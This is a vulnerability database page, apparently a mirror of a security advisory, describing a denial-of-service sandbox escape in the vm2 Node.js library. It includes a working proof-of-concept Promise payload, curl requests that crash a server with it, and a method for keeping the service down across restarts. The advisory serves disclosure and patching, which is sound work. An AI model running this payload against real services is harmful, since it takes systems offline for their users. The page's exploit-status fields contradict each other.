Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-hw58-p9xv-2mjh

HighCVSS 8.6 / 10
Published May 7, 2026·Last modified May 7, 2026
Affected Components(0)

No affected components available

Description

Summary

A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.

Details

When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.

  • lib/setup-sandbox.js:38localPromise wraps the native Promise constructor but does not wrap the executor in try-catch.
  • lib/setup-sandbox.js:165-230resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.

The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.

Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.

allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is guaranteed to be unhandled — making allowAsync: false paradoxically more dangerous than true for this vulnerability.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");

// Works with ANY allowAsync setting — both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });

try {
  const result = vm.run(`
    new Promise(function(r, j) {
      var e = new Error();
      e.name = Symbol();
      e.stack;
    });
  `);
  console.log("Result:", result);   // Reaches here (returns Promise object)
} catch (err) {
  console.log("Caught:", err);       // Never executed
}

console.log("After try-catch");      // Also prints normally

// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help — vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE — .catch() is blocked,
// so the rejection is guaranteed to be unhandled.

HTTP demonstration (web service impact):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}

# 2. Send payload — server process will crash
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'

# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/  # => connection refused

Impact

  • DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur.
  • Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single curl request caused the Docker container to restart (confirmed via StartedAt timestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users — each restart is met with another crash before any real request can be served.
  • Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.
  • Scope: All applications using vm2, regardless of allowAsync setting. allowAsync: false only blocks async/await syntax and .then()/.catch() method calls — the Promise constructor itself still executes, and the unhandled rejection still propagates. In fact, allowAsync: false makes the vulnerability worse because .catch() is blocked, guaranteeing the rejection is always unhandled.
Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the availability of the system.

Threat Intelligence
7.9

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.45%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard